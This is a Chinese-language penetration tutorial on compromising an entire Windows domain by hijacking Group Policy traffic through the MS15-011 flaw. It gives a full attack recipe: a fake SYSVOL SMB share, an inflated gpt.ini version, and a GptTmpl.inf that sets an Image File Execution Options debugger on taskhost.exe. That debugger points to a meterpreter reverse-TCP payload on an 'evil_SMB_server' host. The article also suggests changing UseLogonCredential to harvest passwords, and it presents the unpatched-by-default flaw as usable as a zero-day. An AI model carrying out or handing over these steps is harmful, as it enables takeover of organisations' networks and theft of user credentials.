域滲透之流量劫持
說在前面
windows Domain 中文翻譯為域,域既是 Windows 網(wǎng)絡(luò)操作系統(tǒng)的邏輯組織單元,也是Internet的邏輯組織單元。它是由所有的用戶計算機,打印機,用戶賬戶和其他的安全主體組成,被域控制器管理。
域是微軟提供給企業(yè)的一個局域網(wǎng)管理措施,使得信息技術(shù)人員能高效的管理和維護局域網(wǎng)中所有的主機和用戶。域位于每一個企業(yè)最核心的位置,在域上運行著大量的企業(yè)核心應(yīng)用,如郵件系統(tǒng),協(xié)同辦公系統(tǒng),文件共享系統(tǒng)等。
在網(wǎng)絡(luò)滲透攻擊中,攻擊者如果獲取了域的權(quán)限,那么攻擊者就有可能獲取公司的機密,控制公司的一切。所以域安全是企業(yè)安全最為核心的一個環(huán)節(jié),并且微軟對域本身也在進行不斷的安全加固。
NSA泄漏的文檔和工具讓人們明白了網(wǎng)絡(luò)的底層設(shè)備是多么的不堪一擊,但是部分運維人員和安全人員仍然抱有幻想,只要養(yǎng)成正確的計算機使用習慣,不安全的底層網(wǎng)絡(luò)很難威脅到域的安全,但是事實往往不是這樣,Windows域本身十分脆弱,尤其是在不安全的網(wǎng)絡(luò)環(huán)境中,因為域是基于信任底層網(wǎng)絡(luò)進行設(shè)計和建造的。
本文將利用另外一種方法,完成從底層網(wǎng)絡(luò)入侵windows域。
原理分析
當?shù)讓泳W(wǎng)絡(luò)被攻陷,攻擊者就能輕易的劫持流量,偽造網(wǎng)絡(luò)節(jié)點。而劫持流量攻擊最基本的設(shè)計思路就是建立在一個假設(shè)之上,如果劫持了某個設(shè)備,能達到什么目的。
如果劫持了域控,能達到什么目的?
基于這個假設(shè),進行了一系列測試,拿出其中一個測試與大家共同研究。
在微軟的官網(wǎng)上有如下描述:
組策略是在基于 Active Directory 域服務(wù) (AD DS) 的網(wǎng)絡(luò)上訪問和配置計算機及用戶設(shè)置的最輕松易行的方式。如果您的企業(yè)未在使用組策略,那么將會錯失降低成本、控制配置、使用戶保持卓有成效和愉悅的心情以及增強安全性的大好機會。可以將使用組策略進行配置視為“一舉多得”。
域控通過組策略完成對域內(nèi)機器的進行配置的一種方式,windows域機器每間隔一段時間就會向域控制器請求更新組策略,以保證自身使用著最新的域策略。更新的過程是,域成員機器每間隔 90min+random()*30min ,向域控請求策略版本號,這個版本號存在于域控的gpt.ini文件中,位于
- \\domian_name\sysvol\domain_name\Policies
文件夾中,文件內(nèi)容為:
- [General]
- Version = 1
這個版本號如果等于自身版本號,那么系統(tǒng)就認為自身組策略是最新版本。然后重置計時器,等待下一個間隔去請求更新。
詳細數(shù)據(jù)包請求過程如下圖:
如果自身版本號小于返回的版本號,那么系統(tǒng)認為自身組策略以過時,就繼續(xù)請求registry.pol 和GptTmpl.ini文件,詳細數(shù)據(jù)包請求過程如下圖:
而GptTmpl.inf文件,是一個模版文件,允許遠程修改域成員的注冊表。
如果劫持并且修改了GptTmpl.inf文件,就可以隨意修改請求該文件域成員的注冊表。利用劫持該文件入侵域的一種方式就是修改注冊表給域機器添加啟動項,等到機器重啟時,就可以運行指定文件或者腳本。
但是面臨著一個問題,必須等到該機器重新啟動。該機器可能啟動周期很長,攻擊者的啟動腳本或攻擊payload存儲的位置就必須持續(xù)保持,很不方便。之前CoreSecurity的測試POC時修改AppInit_DLL注冊表鍵值,但是這個鍵值已經(jīng)不啟用很多年了。所以需要一個簡便高效的方式。再經(jīng)過多種利用測試之后,終于找到一種非常好用的方式,一個神奇的注冊表鍵值:
- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution optin]
通過修改這個鍵值,可以給任一windows程序添加一個debugger調(diào)試器。例如可以給cmd.exe添加一個調(diào)試器debugger.exe,這樣你在啟動cmd.exe 的時候,實際運行的為:
- c:\debugger.exe cmd.exe
通過這種方式,可以給IE,Chrome或者其他什么用戶可能會運行的程序添加一個調(diào)試器,這種方式明顯會比等待用戶重啟要迅速的多。
即使是在用戶權(quán)限受限制的情況下,依然可以通過組策略劫持的方式來對該機器的注冊表進行修改。但是在劫持完成之后,必須對注冊表進行清理,因為該調(diào)試程序不可能長久存在,那么之后用戶可能無法啟動該程序。并且修改鍵值需要管理員權(quán)限。
為了避免猜錯用戶使用的程序和較長的等待時間,經(jīng)過多次測試找到了一個更好的解決辦法。系統(tǒng)在更新組策略之后,會用系統(tǒng)權(quán)限創(chuàng)建一個新的進程 taskhost.exe ,即使該用戶處于一個受限制的狀態(tài)。所以給taskhost.exe程序創(chuàng)建一個調(diào)試器,這樣就能在系統(tǒng)更新完粗策略后立刻獲取一個system權(quán)限的shell。不需要漫長的等待,不需要重啟,不需要用戶的任何操作,一切都是靜默中完成。
當然,這種劫持組策略執(zhí)行命令的方式很早的時候就報告給了Microsoft,并且在2015年2月10日就發(fā)布安全公告 MS15-011并提供了補丁KB3000483。微軟決定在用戶端修復(fù)這個漏洞,強制使用“SMB Signing”。
但是,雖然這個漏洞在一年多前就已經(jīng)發(fā)布安全公告,并且提供了相關(guān)補丁,但是這個補丁是默認不啟用的。
在微軟的官方公告中有這樣一段話:
This security update requires the following steps to be performed in order to protect against the vulnerability described in the bulletin (MS15-011). To enable this functionality, a system administrator must apply the following Group Policy settings in addition to installing security update 3000483.
其含義是:
系統(tǒng)管理員必須手動配置組策略,啟用“UNC Hardened Access”來避免MS15-011漏洞所帶來的安全風險。詳細的配置策略在微軟的官方網(wǎng)站,簡單總結(jié)成了12個步驟,網(wǎng)頁鏈接如下:
https://support.microsoft.com/en-us/kb/3000483
微軟認為這是一個漏洞,并且提供了相關(guān)的補丁。但是這個補丁并不是默認啟用,必須管理員手動配置12個步驟才能啟用。
所以該漏洞大多數(shù)環(huán)境中依然可以被當作0DAY來使用。
測試
實驗測試步驟如下:
1. 準備存放payload的SMB服務(wù)器和相應(yīng)的payload
在該測試中,在攻擊者機器上啟用了SMB共享,創(chuàng)建一個映射為SYSVOL的目錄,命令如下:
- net share sysvol=C:\Users\TEST\Desktop\sysvol
或者直接使用界面開啟共享,效果一樣。在文件夾中創(chuàng)建樹形結(jié)構(gòu),因為域機器在請求更新的時候只會請求固定位置的文件。文件結(jié)構(gòu)如下:
- ─Domain_Name
- └─Policies
- └─{31B2F340-016D-11D2-945F-00C04FB984F9}
- │ gpt.ini
- │
- └─Machine
- └─Microsoft
- └─Windows NT
- └─SecEdit
- GptTmpl.inf
然后開啟整個文件夾的匿名共享,允許任何人訪問。
準備payload程序,本測試準備的是meterpreter_resver_tcp.exe,重命名為debugger.exe。
因為劫持方式不一樣,如果選擇直接修改數(shù)據(jù)包內(nèi)容或者重新回包,可以不用創(chuàng)建樹形結(jié)構(gòu)目錄,但是SMB的匿名共享文件夾是需要的,用來存放payload。
2. 劫持中需要修改的數(shù)據(jù)
首先修改Gpt.ini文件,將其中的版本號改為一個較大數(shù)字,方便起見改為1000,如下:
- [General]
- Version=1000
然后修改策略文件GptTmpl.ini,文件原內(nèi)容如下:
- [Unicode]
- Unicode=yes
- [System Access]
- MinimumPasswordAge = 1
- MaximumPasswordAge = 42
- MinimumPasswordLength = 7
- PasswordComplexity = 1
- PasswordHistorySize = 24
- LockoutBadCount = 0
- RequireLogonToChangePassword = 0
- ForceLogoffWhenHourExpire = 0
- ClearTextPassword = 0
- LSAAnonymousNameLookup = 0
- [Kerberos Policy]
- MaxTicketAge = 10
- MaxRenewAge = 7
- MaxServiceAge = 600
- MaxClockSkew = 5
- TicketValidateClient = 1
- [Registry Values]
- MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1
- [Version]
- signature="$CHICAGO$"
- Revision=1
然后按照設(shè)計進行相應(yīng)的修改,簡便起見,只添加修改注冊表項,修改后的文件內(nèi)容如下:
- [Registry Values]
- MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,\\evil_SMB_server\sysvol\admin.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\muma_test.exe
- [Version]
- signature="$CHICAGO$"
- Revision=1
將“evil_SMB_server”替換成放置payload的服務(wù)器地址,將“debugger.exe”替換成payload文件。
3. 開始攻擊
劫持流量到attacker上。在這里劫持流量的方式多種多樣,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的軟件,叫做Responder github,但是本次試驗是專門針對路由器流量劫持定制的程序來完成所有操作。
首先,client會tree一下整個文件夾,然后請求Gpt.ini,對比版本號,然后繼續(xù)請求GptTmpl.ini文件,將文件中的注冊表模版應(yīng)用到注冊表中。應(yīng)用成功之后,下載并以debugger.exe作為調(diào)試器啟動taskhost.exe程序, 然后稍等幾秒:
done
獲取了一臺機器的最高控制權(quán)限。
最多等待120min,就可以獲取到整個域機器的最高權(quán)限。除了域控制器,因為域控制器不會請求更新組策略。到那時如果域中有多個域控制器,它們之間會請求更新組策略,同樣可以被劫持。
除了域控外的所有設(shè)備都獲取了控制權(quán)限,已經(jīng)基本可以在域中暢行無阻了。
針對域控,只能使用通過組策略創(chuàng)建替換登錄腳本,添加啟動項等方法中的一種。再或者,通過組策略添加登錄腳本,修改注冊表UseLogonCredential的鍵值,等機器完成重啟就能批量抓取用戶密碼,因為域管理員不可能只在域控上登錄。
或者使用其他的更好的方法 ,如有好的思路,請私信我,可以共同討論測試。
這樣就獲取到了整個域的控制權(quán)限。
總結(jié)
底層網(wǎng)絡(luò)設(shè)備很危險,并且底層網(wǎng)絡(luò)能給上層應(yīng)用和服務(wù)帶來難以想象的影響。只是現(xiàn)在的安全圈子沒有深刻認識到。